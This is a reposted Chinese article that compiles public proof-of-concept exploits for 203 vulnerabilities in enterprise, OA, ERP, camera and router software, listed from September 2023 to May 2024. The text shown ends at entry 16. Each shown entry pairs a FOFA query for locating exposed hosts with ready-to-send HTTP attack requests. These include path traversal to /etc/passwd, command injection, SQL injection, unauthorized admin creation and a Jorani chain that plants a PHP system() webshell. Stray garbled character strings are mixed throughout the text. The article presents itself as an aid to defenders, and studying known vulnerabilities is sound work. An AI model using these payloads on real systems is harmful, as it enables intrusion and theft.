互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
/ z" L' O0 E8 P5 u/ Q! q+ k道一安全 2024-06-05 07:41 北京
以下文章来源于网络安全新视界 ，作者网络安全新视界

# ~1 y  E( w% ^2 w+ G' q6 a* ]2 c发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。
* C3 n* H0 k- W
漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。

安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。
* u, b' I( U1 q7 k
: H/ y7 k% D: y% b% @6 |文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。
  ]9 Y7 D6 Q. l2 n; i$ ^, M2 w* g* T- \
/ e3 r' h" g/ h0 V% \1 t合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。


声明
# \& Y4 c1 I; c# D; j
8 w% v- c. k" ^# s  l. B为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。

有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。

" i. X) s1 D# y0 s4 ?) \- N( k
$ G, d9 ~! c& j5 t5 r1 T2 E; v
* V; f/ n& x$ }. A" j  n2 U目录
% O5 Q3 N8 K! p& _
' K0 N- l1 z; D9 |/ S01
4 `6 D' i  {; _) w1 w7 G& `
1. StarRocks MPP数据库未授权访问
2. Casdoor系统static任意文件读取
3. EasyCVR智能边缘网关 userlist 信息泄漏
4 f2 j# H4 n5 n4. EasyCVR视频管理平台存在任意用户添加
5. NUUO NVR 视频存储管理设备远程命令执行
2 l, I0 O6 {8 e5 y. q! V" y6. 深信服 NGAF 任意文件读取
$ q& ~) \& [2 I7 N0 W7. 鸿运主动安全监控云平台任意文件下载
8. 斐讯 Phicomm 路由器RCE
( @% ?, j4 F0 M& S) _" C9. 稻壳CMS keyword 未授权SQL注入
2 ]) V" |2 Q4 L10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
12. Jorani < 1.0.2 远程命令执行
7 v7 I" a6 }5 f- p0 K, x' R' C13. 红帆iOffice ioFileDown任意文件读取
14. 华夏ERP（jshERP）敏感信息泄露
15. 华夏ERP getAllList信息泄露
* O9 [2 r% G$ u! t/ }' \16. 红帆HFOffice医微云SQL注入
. W9 W0 z- z1 n" S) `17. 大华 DSS itcBulletin SQL 注入
) A9 g$ N+ `) `6 h, g18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
2 d  x6 \2 B& s8 @7 g, I$ l/ T20. 大华ICC智能物联综合管理平台任意文件读取
21. 大华ICC智能物联综合管理平台random远程代码执行
3 K  j5 e# z  w$ _! M6 a22. 大华ICC智能物联综合管理平台 log4j远程代码执行
  ~5 R# l% P5 e0 H  q23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
24. 用友NC 6.5 accept.jsp任意文件上传
6 v* i8 |( z" g7 f& J6 W, t1 F! N3 D25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
27. 用友 NC showcontent SQL注入
28. 用友NC grouptemplet 任意文件上传
29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
31. 用友NC runStateServlet SQL注入
32. 用友NC complainbilldetail SQL注入
33. 用友NC downTax/download SQL注入
34. 用友NC warningDetailInfo接口SQL注入
35. 用友NC-Cloud importhttpscer任意文件上传
7 C. \* r# c% |& }36. 用友NC-Cloud soapFormat XXE
37. 用友NC-Cloud IUpdateService XXE
- ?/ B& n) f8 h) b. ]3 h38. 用友U8 Cloud smartweb2.RPC.d XXE
39. 用友U8 Cloud RegisterServlet SQL注入
# Y1 u! x* S: N$ Y; v40. 用友U8-Cloud XChangeServlet XXE
3 S* L5 |8 C9 g6 C41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
42. 用友GRP-U8 SmartUpload01 文件上传
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
8 K9 I0 K+ N' j; L; \45. 用友GRP-U8 ufgovbank XXE
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
. N7 Z0 t0 ]' w" h47. 用友GRP A++Cloud 政府财务云 任意文件读取
48. 用友U8 CRM swfupload 任意文件上传
$ P4 {  F* i7 L+ R9 y4 R2 h0 H) U: K$ l49. 用友U8 CRM系统uploadfile.php接口任意文件上传
50. QDocs Smart School 6.4.1 filterRecords SQL注入
- X% \) f" q% k1 y) Q9 ]! w51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
52. 泛微E-Office json_common.php sql注入
" r2 n: ^% r- ]- _$ z! g53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
, L& Z5 W# j4 S  S  Q2 o57. 畅捷通T+ keyEdit.aspx SQL注入
) O- v  z( \4 L3 z4 B/ l58. 畅捷通T+ KeyInfoList.aspx sql注入
  `( f5 Y- O# l; g# }4 i" c59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
$ \5 \9 K7 _# W60. 百卓Smart管理平台 importexport.php SQL注入
- o, Y' c8 ^0 K61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
$ ]5 U+ j6 h# H+ J. z62. IP-guard WebServer 远程命令执行
# D+ v+ b8 e( M% U) V6 _63. IP-guard WebServer任意文件读取
& Z8 j: w+ A: @8 y9 G9 e64. 捷诚管理信息系统CWSFinanceCommon SQL注入
/ i$ Q. @* h9 V& C65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
67. 万户ezOFFICE wpsservlet任意文件上传
$ @. L0 H3 H' C$ f68. 万户ezOFFICE wf_printnum.jsp SQL注入
. o' R8 q8 x1 C/ p: T69. 万户 ezOFFICE contract_gd.jsp SQL注入
! w$ ]! ?4 `" l/ c+ ?5 I70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
5 t  F2 I3 ^) _+ b; `72. 致远OA getAjaxDataServlet XXE
" |/ I6 ~- L, E! P73. GeoServer wms远程代码执行
' K" A; t7 ^" J1 ~( V4 z5 c; X74. 致远M3-server 6_1sp1 反序列化RCE
! F2 A+ u% s* a1 I% E75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
% b( S5 j0 k( p( u76. 新开普掌上校园服务管理平台service.action远程命令执行
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
! |/ F! o- E4 L% J78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
+ f( A& y4 i2 R81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
( F3 S% I7 W8 L6 q6 C  P82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
83. JeecgBoot testConnection 远程命令执行
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
85. SysAid On-premise< 23.3.36远程代码执行
9 Z6 G( A' U9 d8 v# }86. 日本tosei自助洗衣机RCE
6 b! l/ {% a6 i# [: |. g* U8 ^87. 安恒明御安全网关aaa_local_web_preview文件上传
; K5 ?- H: o8 B/ x# T, l' C88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
89. 致远互联FE协作办公平台editflow_manager存在sql注入
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
. p5 l; D& f% y: r; S91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
92. 海康威视运行管理中心session命令执行
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
+ [4 Y# N' y, H5 @4 `: J: Z96. Apache OFBiz  18.12.11 groovy 远程代码执行
: j$ G# M2 [+ M0 S- T) C97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
) q  M& D4 {3 j8 B' J! T98. SpiderFlow爬虫平台远程命令执行
( ^/ e! V/ E: C$ O9 p99. Ncast盈可视高清智能录播系统busiFacade RCE
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
101. ivanti policy secure-22.6命令注入
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
0 P6 |. `/ B& S8 Y* g103. Ivanti Pulse Connect Secure VPN XXE
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
105. SpringBlade v3.2.0 export-user SQL 注入
3 r" h1 z% r' D, P% q+ I* D% n/ E106. SpringBlade dict-biz/list SQL 注入
* m# _, Y( g- p3 R107. SpringBlade tenant/list SQL 注入
108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
& f4 F: Q3 x, v1 M110. Goanywhere MFT 未授权创建管理员
111. WordPress Plugin HTML5 Video Player SQL注入
112. WordPress Plugin NotificationX SQL 注入
113. WordPress Automatic 插件任意文件下载和SSRF
3 G2 i) G4 e1 `: l114. WordPress MasterStudy LMS插件 SQL注入
. |; Y% x4 |! p' W115. WordPress Bricks Builder <= 1.9.6 RCE
, w% X' Z( _2 G116. wordpress js-support-ticket文件上传
: i6 i' @) h2 c, ]4 Z4 d+ V117. WordPress LayerSlider插件SQL注入
- K, f4 q* t* {118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
1 d4 p" w) w* H. `( n7 L* K119. 北京百绰智能S20后台sysmanageajax.php sql注入
120. 北京百绰智能S40管理平台导入web.php任意文件上传
. ?8 u1 [0 d+ q. l# x( t121. 北京百绰智能S42管理平台userattestation.php任意文件上传
7 H8 B( b/ [* ?: l$ T. u3 W122. 北京百绰智能s200管理平台/importexport.php sql注入
1 t, s/ f8 X6 A9 F+ E123. Atlassian Confluence 模板注入代码执行
124. 湖南建研工程质量检测系统任意文件上传
* y9 o& R- l; `* l8 U7 O6 b125. ConnectWise ScreenConnect身份验证绕过
126. Aiohttp 路径遍历
127. 广联达Linkworks DataExchange.ashx XXE
128. Adobe ColdFusion 反序列化
5 Q" g8 ~& O. n3 g4 w! [129. Adobe ColdFusion 任意文件读取
5 `3 W9 m# X; `1 v, s$ H130. Laykefu客服系统任意文件上传
131. Mini-Tmall <=20231017 SQL注入
& V5 |( L# S/ t9 x: j132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
134. 网康NS-ASG应用安全网关index.php sql注入
3 Z4 T: Z: d: D% U( _2 x: Q. o# m- m135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
+ S1 g' F/ u3 Z$ l2 @5 y% r136. NextChat cors SSRF
: n7 c- X9 N0 e' }  j. |137. 福建科立迅通信指挥调度平台down_file.php sql注入
( e; L' z3 i! J" i6 t8 k* Z: c# d138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
; \- ^' t5 h9 d139. 福建科立讯通信指挥调度平台editemedia.php sql注入
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
+ B) o! o& T' a. o142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
; x4 g3 t( ^; P" i: L144. D-Link nas_sharing.cgi 命令注入
) I. q" q) g8 B* d5 D145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
146. MajorDoMo thumb.php 未授权远程代码执行
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
7 {) c# i: M4 S" A3 h  s148. CrushFTP 认证绕过模板注入
149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
151. AJ-Report 1.4.1 pageList sql注入
152. Progress Kemp LoadMaster 远程命令执行
153. gradio任意文件读取
5 |$ k! n) d2 C6 A  y154. 天维尔消防救援作战调度平台 SQL注入
+ p9 D' ]8 D. w. |3 ^8 Y) f# L155. 六零导航页 file.php 任意文件上传
156. TBK DVR-4104/DVR-4216 操作系统命令注入
157. 美特CRM upload.jsp 任意文件上传
7 a/ ~( E% h# m, P# @' t+ `158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
6 G* C2 E; v8 Q. Z: m& W160. Sonatype Nexus Repository 3目录遍历与文件读取
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
4 \- G/ w6 H0 E0 k165. OrangeHRM 3.3.3 SQL 注入
/ k+ i9 @3 J- R+ M166. 中成科信票务管理平台SeatMapHandler SQL注入
167. 精益价值管理系统 DownLoad.aspx任意文件读取
* Z6 D, ]  b7 B8 i  u) I. B2 @168. 宏景EHR OutputCode 任意文件读取
; z2 I8 `- o7 i% L6 d169. 宏景EHR downlawbase SQL注入
" e0 Y; {, R, \170. 宏景EHR DisplayExcelCustomReport 任意文件读取
* \7 @" F% h" \3 J0 P171. 通天星CMSV6车载定位监控平台 SQL注入
! v6 j4 \" w% k& M1 T& d' `* k- Q4 S172. DT-高清车牌识别摄像机任意文件读取
173. Check Point 安全网关任意文件读取
# d9 f+ p* u! B# Q, H" Z* Y/ H2 H174. 金和OA C6 FileDownLoad.aspx 任意文件读取
2 N% {& S; S: M# R! f175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
176. 电信网关配置管理系统 rewrite.php 文件上传
6 e0 p" c( w2 ?' F! k2 {! ]8 Q177. H3C路由器敏感信息泄露
4 |' n4 |5 F1 c& x2 O$ D+ P4 W, R* x178. H3C校园网自助服务系统-flexfileupload-任意文件上传
179. 建文工程管理系统存在任意文件读取
180. 帮管客 CRM jiliyu SQL注入
1 h! \$ f9 u- i0 @8 d8 Q181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
185. 瑞友天翼应用虚拟化系统SQL注入
186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
( `- I1 n7 \9 F$ Y9 |3 D188. 叁体-佳会视频会议 attachment 任意文件读取
# w8 N. Z/ h9 a+ J189. 蓝网科技临床浏览系统 deleteStudy SQL注入
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
; |5 X8 O! ]. f$ g, c* H, c2 I191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
* ?* ^# d5 Z, g192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
3 h+ A) p6 t: H/ c5 ^* K" i194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
' J7 Z% `6 b9 a195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
196. 河南省风速科技统一认证平台密码重置
4 o# Z" V7 v" \  u+ `, k4 p197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
198.  阿里云盘 WebDAV 命令注入
199. cockpit系统assetsmanager_upload接口 文件上传
200. SeaCMS海洋影视管理系统dmku SQL注入
- z3 \' b) l3 @$ ^# r9 s& a201. 方正全媒体新闻采编系统 binary SQL注入
& X9 r: d* h1 a* P& `+ ^202. 微擎系统 AccountEdit任意文件上传
. Y8 f( P8 {1 C, l/ f203. 红海云EHR PtFjk 文件上传
3 u5 w0 G$ i6 @4 G& y& K$ D
POC列表

02

- c4 I# Y3 n, [1. StarRocks MPP数据库未授权访问
FOFA ：title="StarRocks"
GET /mem_tracker HTTP/1.1
Host: URL


2. Casdoor系统static任意文件读取
0 K) R. s: g% F7 gFOFA ：title="Casdoor"
! g8 a9 k1 r, U; p4 Y* I3 j& O3 lGET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
0 n1 a: T- J# \- @/ k/ ]: NHost: xx.xx.xx.xx:9999
1 }# b1 x2 O( M' {: R) WUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
4 E% A0 O) s( g* YConnection: close
Accept: */*
Accept-Language: en
& U' a) T4 ]% `; Z9 tAccept-Encoding: gzip


0 v' D% r/ }4 c( V3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
  s* M! R1 [" _Host: xx.xx.xx.xx

' p# n5 e3 G& T5 Y' a$ l$ U7 i' C. h
4. EasyCVR视频管理平台存在任意用户添加
FOFA ：title="EasyCVR"

* e4 B/ }8 R7 H/ W$ wpassword更改为自己的密码md5
# s( R" d0 F" [: W% \# h+ b& CPOST /api/v1/adduser HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
7 @4 [  v$ b! N. f% J7 z& I# b
, f: R4 E  a" Kname=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1
* I" e: c+ O9 q, c* a6 o8 q7 E

5. NUUO NVR 视频存储管理设备远程命令执行
4 ]9 |$ S4 R+ H' |' y- [FOFA：title="Network Video Recorder Login"
' @- v+ _* U* w! c( a, J# JGET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
/ Z$ w, |# L' n$ N3 z( OHost: xx.xx.xx.xx

( i6 P9 t! n8 c  N$ o: W6 K' A
. B# m0 r  b7 _, @0 F9 k* P0 [5 D" c6. 深信服 NGAF 任意文件读取
3 Q8 e9 X" @' [9 f( q4 OFOFA：title="SANGFOR | NGAF"
) l* e6 L7 f$ sGET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
Host:
- W4 ?# a3 t5 }9 q
2 L. T% B( e) L  l
& r) h, Y0 O( u& f- Q. @7. 鸿运主动安全监控云平台任意文件下载
6 e* s' X+ I8 O$ YFOFA：body="./open/webApi.html"
9 k6 k$ U. d8 h( k  a! JGET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
Host:

1 x( U2 C7 h, M- R
8. 斐讯 Phicomm 路由器RCE
- ^" G! w0 H- S6 b# KFOFA：icon_hash="-1344736688"
默认账号admin登录后台后，执行操作
9 K, t% `) o3 U% Z' Y" yPOST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
0 r: h' j' t% Q. lHost: x.x.x.x
Cookie: sysauth=第一步登录获取的cookie
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
- Z' B+ U" ?) }User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
! a8 w4 K4 i$ j' x
------WebKitFormBoundaryxbgjoytz
7 w* N) |5 u3 dContent-Disposition: form-data; name="wifiRebootEnablestatus"

( J7 \! V' V& Q%s
1 _, H9 h- x% d7 l  B4 |------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootrange"

5 }8 x, Y7 S, }: W; d12:00; id;
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootendrange"

9 S: ?6 a$ I/ n% [' u1 Y( b%s:
  J0 R8 G! _# ?3 x* R3 A4 `- e------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="cururl2"
2 @! V8 w( x4 }+ H9 \

------WebKitFormBoundaryxbgjoytz--


9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
8 E. [8 _# k# H: i9 H, W$ i2 wHost: x.x.x.x

  j5 K. T0 n' z6 H2 m) \
( S2 m. H( q! ]1 ]payload为下列语句的二次Url编码

' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

, v+ n) r& z7 z  v. s3 j10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
% [) b) B& L( x& v! F) ~" _# i) _4 ]FOFA：icon_hash="953405444"
/ [5 t) n$ w/ Y
文件上传后响应中包含上传文件的路径
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
6 H, d, w" O6 h; ]  _2 J5 eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Length: 197
2 A& t7 t! E5 J2 o4 x3 O5 ^Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
8 c* v+ G# j+ mAccept-Encoding: gzip, deflate
# m  n) C. `% y1 DAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu

------WebKitFormBoundaryxdgaqmqu
' b" m% x. y. L$ aContent-Disposition: form-data; name="file"filename="icfitnya.txt"
Content-Type: text/html
) k4 x, I* h9 @5 y# o
# d. M# x' w" n4 r2 K3 T. sjmnqjfdsupxgfidopeixbgsxbf
6 Z  R+ A$ y) a$ I0 K------WebKitFormBoundaryxdgaqmqu--
$ ~. w+ L# M: @2 `' N( W0 ]/ ]
0 v, ]4 @( q) A- n* N1 b
% M8 H4 e' {- e) p; d9 ~( A( `11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
. t& b1 ]! C5 B2 o: M: m7 GFOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
8 ?' o9 D& L, X) r4 m# n1 D: F. X1 jGET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
# B' ~/ U6 I5 f/ l; l4 BHost: 127.0.0.1
2 \' w9 r2 z! h6 ~, D# p  w7 T+ T1 _Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
( G( T& ~6 Q, u7 i; nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
: g2 T! E: k* g+ bAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
) {* e5 i& |5 C0 z. Y1 q

" N( ?: F) p) r, [" U( J12. Jorani < 1.0.2 远程命令执行
FOFA：title="Jorani"
第一步先拿到cookie
GET /session/login HTTP/1.1
Host: 192.168.190.30
1 A" x- f$ E" u6 r6 c+ nUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
8 V- D4 e/ E8 c0 a, A9 l# _Connection: close
" v6 a% n% y: O6 ~  \9 q- GAccept-Encoding: gzip
( P% m- v  x$ g5 Z' {. K
- x% w5 L8 H" m. H: w
: {! R3 v6 a2 @- x/ l/ ?; i* P响应中csrf_cookie_jorani用于后续请求
HTTP/1.1 200 OK
Connection: close
+ J  ]; y  m! [' a( \( u9 W( mCache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
9 T3 W3 B) b/ b* c) A  D1 j. M3 IExpires: Thu, 19 Nov 1981 08:52:00 GMT
: f4 s" z' ]0 V& C' dLast-Modified: Tue, 24 Oct 2023 09:34:28 GMT
, ~7 R3 U) W& J/ rPragma: no-cache
Server: Apache/2.4.54 (Debian)
- w2 _+ P! M8 z5 P+ V/ QSet-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
Vary: Accept-Encoding

; l5 G* E( ?: N+ C7 W
; r: a. W2 G" c7 MPOST请求，执行函数并进行base64编码
POST /session/login HTTP/1.1
Host: 192.168.190.30
- v+ N9 X0 X+ e: G' H/ zUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
  U+ `# I' G9 V7 r% GConnection: close
, d7 ]( y6 G# t1 r* M1 iContent-Length: 252
+ T' S9 D( h' J. N: mContent-Type: application/x-www-form-urlencoded
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
Accept-Encoding: gzip

csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor


  }  p3 X2 z, K4 L; g7 c' m1 T- x
向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
Host: 192.168.190.30
7 a7 E; V7 |" \; KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
( U* `0 N6 U) O% N4 a9 WK1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
" H" |. y  a7 a% iX-REQUESTED-WITH: XMLHttpRequest
, p9 |) T6 S( G0 c0 k8 }1 r# ZAccept-Encoding: gzip

* V: X  W- u) j$ B3 n* r4 {
; b* k) Z, \. l) Y) y* ]" \2 L1 K; h/ m) O13. 红帆iOffice ioFileDown任意文件读取
# o8 d& W0 k' L6 x+ u/ JFOFA：app="红帆-ioffice"
1 A5 p+ E: w& h) M- |8 G) Y4 fGET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
7 I7 h# W/ Q5 X& q" [Connection: close
Accept: */*
Accept-Encoding: gzip
3 g: N, c+ x* n+ ~+ [+ |

  s/ H/ C- T+ X" A9 y5 ]14. 华夏ERP（jshERP）敏感信息泄露
. B/ [* t: _1 g& w/ i/ E- KFOFA：body="jshERP-boot"
' s7 T& o9 q3 u2 C; a& a, D% I) n泄露内容包括用户名密码
GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
( F2 _2 x# ?9 C0 Z& D0 ~# P8 JAccept: */*
Accept-Language: en
; G6 t# b0 Q5 p: b3 z4 CAccept-Encoding: gzip
. g4 v7 Z/ g& ~1 n& B9 c& A

, ]4 t) ^) t% ?7 {' L" z; l4 ?15. 华夏ERP getAllList信息泄露
3 `2 ?8 S4 a3 z' n( BCVE-2024-0490
0 s. N9 z2 m0 o. U- z+ G: xFOFA：body="jshERP-boot"
- y5 N& M, Y/ J( I" @泄露内容包括用户名密码
! m; X3 j0 j1 B+ F, n( c% B7 q4 B# MGET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
3 t6 @* L. t* Y; EHost: 192.168.40.130:100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
. h9 H% z. \. J' I+ Y/ b, SConnection: close
0 q9 }2 A/ N. b' Y8 G- H# xAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Language: en
sec-ch-ua-platform: Windows
Accept-Encoding: gzip

5 O1 k0 @4 s* z# k3 X. m
16.  红帆HFOffice医微云SQL注入
8 ^4 L/ W; N' V$ O3 f& ]FOFA：title="HFOffice"
